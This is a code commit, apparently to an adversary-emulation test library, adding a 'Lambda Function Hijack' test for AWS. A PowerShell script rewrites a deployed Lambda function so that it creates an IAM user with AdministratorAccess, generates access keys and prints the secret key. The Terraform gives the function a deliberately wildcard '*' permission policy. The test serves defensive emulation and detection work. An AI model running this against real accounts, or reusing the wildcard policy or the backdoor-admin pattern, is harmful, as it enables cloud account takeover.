feat: T1648-1 (#3038)
Co-authored-by: Hare Sudhan <code@0x6c.dev> Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
This commit is contained in:
@@ -0,0 +1,67 @@
|
||||
attack_technique: T1648
|
||||
display_name: 'Serverless Execution'
|
||||
atomic_tests:
|
||||
- name: Lambda Function Hijack
|
||||
description: |
|
||||
Modify an existing Lambda function to execute arbitrary code.
|
||||
supported_platforms:
|
||||
- iaas:aws
|
||||
input_arguments:
|
||||
access_key:
|
||||
description: AWS Access Key
|
||||
type: string
|
||||
default: ""
|
||||
secret_key:
|
||||
description: AWS Secret Key
|
||||
type: string
|
||||
default: ""
|
||||
session_token:
|
||||
description: AWS Session Token
|
||||
type: string
|
||||
default: ""
|
||||
profile:
|
||||
description: AWS profile
|
||||
type: string
|
||||
default: ""
|
||||
region:
|
||||
description: AWS region to deploy the EC2 instance
|
||||
type: string
|
||||
default: us-east-2
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: |
|
||||
The AWS PowerShell module must be installed.
|
||||
prereq_command: |
|
||||
try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: |
|
||||
Install-Module -Name AWSPowerShell -Force
|
||||
- description: |
|
||||
Terraform must be installed.
|
||||
prereq_command: |
|
||||
terraform --version
|
||||
get_prereq_command: |
|
||||
Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html"
|
||||
executor:
|
||||
command: |
|
||||
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
|
||||
$access_key = "#{access_key}"
|
||||
$secret_key = "#{secret_key}"
|
||||
$session_token = "#{session_token}"
|
||||
$aws_profile = "#{profile}"
|
||||
$region = "#{region}"
|
||||
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
|
||||
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1"
|
||||
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
|
||||
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region
|
||||
cleanup_command: |
|
||||
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
|
||||
$access_key = "#{access_key}"
|
||||
$secret_key = "#{secret_key}"
|
||||
$session_token = "#{session_token}"
|
||||
$aws_profile = "#{profile}"
|
||||
$region = "#{region}"
|
||||
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
|
||||
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
|
||||
Remove-MaliciousUser -AWSProfile "T1648-1"
|
||||
Remove-TFFiles -Path "PathToAtomicsFolder/T1648/src/T1648-1/"
|
||||
name: powershell
|
||||
@@ -0,0 +1,167 @@
|
||||
Import-Module AWSPowerShell
|
||||
|
||||
function Set-AWSAuthentication {
|
||||
param (
|
||||
[string]$AccessKey,
|
||||
[string]$SecretKey,
|
||||
[string]$SessionToken,
|
||||
[string]$AWSProfile,
|
||||
[string]$AWSRegion
|
||||
)
|
||||
if ($SessionToken -eq "" -and $AWSProfile -eq "") {
|
||||
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1648-1"
|
||||
}
|
||||
elseif ($SessionToken -ne "" -and $AWSProfile -ne "") {
|
||||
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1648-1"
|
||||
}
|
||||
elseif ($AWSProfile -ne "") {
|
||||
Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1648-1"
|
||||
}
|
||||
|
||||
try {
|
||||
Get-STSCallerIdentity -ProfileName "T1648-1" | Out-Null
|
||||
}
|
||||
catch {
|
||||
Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again."
|
||||
exit 1
|
||||
}
|
||||
Set-DefaultAWSRegion -Region $AWSRegion
|
||||
}
|
||||
|
||||
function Invoke-Terraform {
|
||||
param (
|
||||
[string]$TerraformCommand,
|
||||
[string]$TerraformDirectory,
|
||||
[string[]]$TerraformVariables
|
||||
)
|
||||
|
||||
$currentPath = Resolve-Path .
|
||||
|
||||
if (-not (Test-Path $TerraformDirectory)) {
|
||||
Write-Host "ERROR: Terraform directory not found. Please check the path and try again."
|
||||
exit 1
|
||||
}
|
||||
|
||||
if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) {
|
||||
Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again."
|
||||
exit 1
|
||||
}
|
||||
|
||||
foreach($variable in $TerraformVariables) {
|
||||
$varName = $variable.Split("=")[0]
|
||||
$varValue = $variable.Split("=")[1]
|
||||
[Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process")
|
||||
}
|
||||
|
||||
Set-Location $TerraformDirectory
|
||||
|
||||
if ($TerraformCommand -eq "init") {
|
||||
try {
|
||||
terraform init | Out-Null
|
||||
}
|
||||
catch {
|
||||
Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again."
|
||||
exit 1
|
||||
}
|
||||
} elseif ($TerraformCommand -eq "apply") {
|
||||
try {
|
||||
terraform apply -auto-approve | Out-Null
|
||||
}
|
||||
catch {
|
||||
Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again."
|
||||
exit 1
|
||||
}
|
||||
} elseif ($TerraformCommand -eq "destroy") {
|
||||
try {
|
||||
terraform destroy -auto-approve | Out-Null
|
||||
}
|
||||
catch {
|
||||
Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again."
|
||||
exit 1
|
||||
}
|
||||
} else {
|
||||
Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'."
|
||||
exit 1
|
||||
}
|
||||
|
||||
Set-Location $currentPath
|
||||
}
|
||||
|
||||
function Invoke-LambdaAttack {
|
||||
param (
|
||||
[string]$AWSProfile,
|
||||
[string]$AWSRegion
|
||||
)
|
||||
|
||||
$maliciousContent = "import json`n"
|
||||
$maliciousContent += "import boto3`n`n"
|
||||
$maliciousContent += "def lambda_handler(event, context):`n"
|
||||
$maliciousContent += " client = boto3.client('iam')`n"
|
||||
$maliciousContent += " client.create_user(UserName='T1648-1')`n"
|
||||
$maliciousContent += " response = client.create_access_key(UserName='T1648-1')`n"
|
||||
$maliciousContent += " access_key = response['AccessKey']['AccessKeyId']`n"
|
||||
$maliciousContent += " secret_key = response['AccessKey']['SecretAccessKey']`n"
|
||||
$maliciousContent += " client.attach_user_policy(UserName='T1648-1', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')`n"
|
||||
$maliciousContent += " return {`n"
|
||||
$maliciousContent += " 'statusCode': 200,`n"
|
||||
$maliciousContent += " 'body': json.dumps({'AccessKeyId': access_key, 'SecretAccessKey': secret_key})`n"
|
||||
$maliciousContent += " }`n"
|
||||
|
||||
$zipPath = [System.IO.Path]::GetTempPath() + "LambdaAttack.zip"
|
||||
$zipFile = [System.IO.Compression.ZipFile]::Open($zipPath, [System.IO.Compression.ZipArchiveMode]::Create)
|
||||
$zipEntry = $zipFile.CreateEntry("lambda.py")
|
||||
$zipStream = $zipEntry.Open()
|
||||
$zipWriter = New-Object System.IO.StreamWriter($zipStream)
|
||||
$zipWriter.Write($maliciousContent)
|
||||
$zipWriter.Close()
|
||||
$zipStream.Close()
|
||||
$zipFile.Dispose()
|
||||
$zipContent = [System.IO.File]::ReadAllBytes($zipPath)
|
||||
|
||||
$null = Update-LMFunctionCode -FunctionName "T1648-1" -ZipFile $zipContent -ProfileName $AWSProfile -Region $AWSRegion
|
||||
Sleep 10 # Wait a bit for the Lambda function to update
|
||||
$result = Invoke-LMFunction -FunctionName "T1648-1" -ProfileName $AWSProfile -Region $AWSRegion
|
||||
$payload = [System.Text.Encoding]::UTF8.GetString($result.Payload.ToArray()) | ConvertFrom-JSON
|
||||
$output = $payload | select Body
|
||||
Remove-Item $zipPath
|
||||
Write-Host "INFO: Lambda function code updated successfully."
|
||||
$accessKeyId = ($output.body | ConvertFrom-JSON).AccessKeyId
|
||||
$secretAccessKey = ($output.body | ConvertFrom-JSON).SecretAccessKey
|
||||
Write-Host "INFO: New Access Key ID: $accessKeyId"
|
||||
Write-Host "INFO: New Secret Access Key: $secretAccessKey"
|
||||
}
|
||||
|
||||
function Remove-MaliciousUser {
|
||||
param (
|
||||
[string]$AWSProfile
|
||||
)
|
||||
|
||||
try {
|
||||
$null = Get-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
|
||||
$accessKeys = Get-IAMAccessKey -UserName "T1648-1" -ProfileName $AWSProfile
|
||||
foreach ($accessKey in $accessKeys) {
|
||||
$null = Remove-IAMAccessKey -AccessKeyId $accessKey.AccessKeyId -UserName "T1648-1" -ProfileName $AWSProfile -Force
|
||||
}
|
||||
Sleep 5 # Wait a bit for the access keys to be removed
|
||||
$null = Unregister-IAMUserPolicy -UserName "T1648-1" -PolicyArn "arn:aws:iam::aws:policy/AdministratorAccess" -ProfileName $AWSProfile -Force
|
||||
$null = Remove-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile -Force
|
||||
Write-Host "INFO: Malicious user 'T1648-1' removed successfully."
|
||||
}
|
||||
|
||||
function Remove-TFFiles {
|
||||
param (
|
||||
[string]$Path
|
||||
)
|
||||
|
||||
try {
|
||||
Remove-Item "$Path/lambda_code.zip" -ErrorAction SilentlyContinue
|
||||
Remove-Item "$Path/terraform.tfstate" -ErrorAction SilentlyContinue
|
||||
Remove-Item "$Path/terraform.tfstate.backup" -ErrorAction SilentlyContinue
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
data "archive_file" "lambda_code" {
|
||||
type = "zip"
|
||||
source_content = <<EOF
|
||||
def lambda_handler(event, context):
|
||||
return "This is a benign lambda function"
|
||||
EOF
|
||||
source_content_filename = "lambda.py"
|
||||
output_path = "${path.module}/lambda_code.zip"
|
||||
}
|
||||
|
||||
resource "aws_lambda_function" "lambda" {
|
||||
filename = data.archive_file.lambda_code.output_path
|
||||
function_name = "T1648-1"
|
||||
role = aws_iam_role.lambda_role.arn
|
||||
handler = "lambda.lambda_handler"
|
||||
runtime = "python3.11"
|
||||
source_code_hash = data.archive_file.lambda_code.output_base64sha256
|
||||
timeout = 30
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
data "aws_iam_policy_document" "lambda_assume_role_policy" {
|
||||
statement {
|
||||
effect = "Allow"
|
||||
|
||||
principals {
|
||||
type = "Service"
|
||||
identifiers = ["lambda.amazonaws.com"]
|
||||
}
|
||||
|
||||
actions = ["sts:AssumeRole"]
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_iam_role" "lambda_role" {
|
||||
name = "LambdaRole"
|
||||
assume_role_policy = data.aws_iam_policy_document.lambda_assume_role_policy.json
|
||||
}
|
||||
|
||||
resource "aws_iam_policy" "lambda_policy" {
|
||||
name = "TestLambdaPolicy"
|
||||
description = "Test Policy for Lambda function"
|
||||
policy = jsonencode({
|
||||
Version = "2012-10-17",
|
||||
Statement = [
|
||||
{
|
||||
Effect = "Allow",
|
||||
Action = [
|
||||
"*"
|
||||
],
|
||||
Resource = "*"
|
||||
}
|
||||
]
|
||||
})
|
||||
}
|
||||
|
||||
resource "aws_iam_role_policy_attachment" "lambda_policy_attachment" {
|
||||
role = aws_iam_role.lambda_role.name
|
||||
policy_arn = aws_iam_policy.lambda_policy.arn
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
terraform {
|
||||
required_providers {
|
||||
aws = {
|
||||
source = "hashicorp/aws"
|
||||
version = "= 5.82.2"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "aws" {
|
||||
profile = var.profile
|
||||
region = var.region
|
||||
|
||||
default_tags {
|
||||
tags = {
|
||||
AtomicTest = "T1648-1"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
cloud = length(regexall("-gov-", var.region)) > 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws"
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
resource "aws_cloudwatch_log_group" "lambda_log_group" {
|
||||
name = "/aws/lambda/T1648-1"
|
||||
retention_in_days = 1
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
variable "profile" {
|
||||
description = "The AWS profile to use"
|
||||
default = "default"
|
||||
}
|
||||
|
||||
variable "region" {
|
||||
description = "The AWS region to deploy to"
|
||||
default = "us-east-2"
|
||||
}
|
||||
|
||||
variable "instance_type" {
|
||||
description = "The instance type to use for the EC2 instance"
|
||||
default = "t2.micro"
|
||||
}
|
||||
Reference in New Issue
Block a user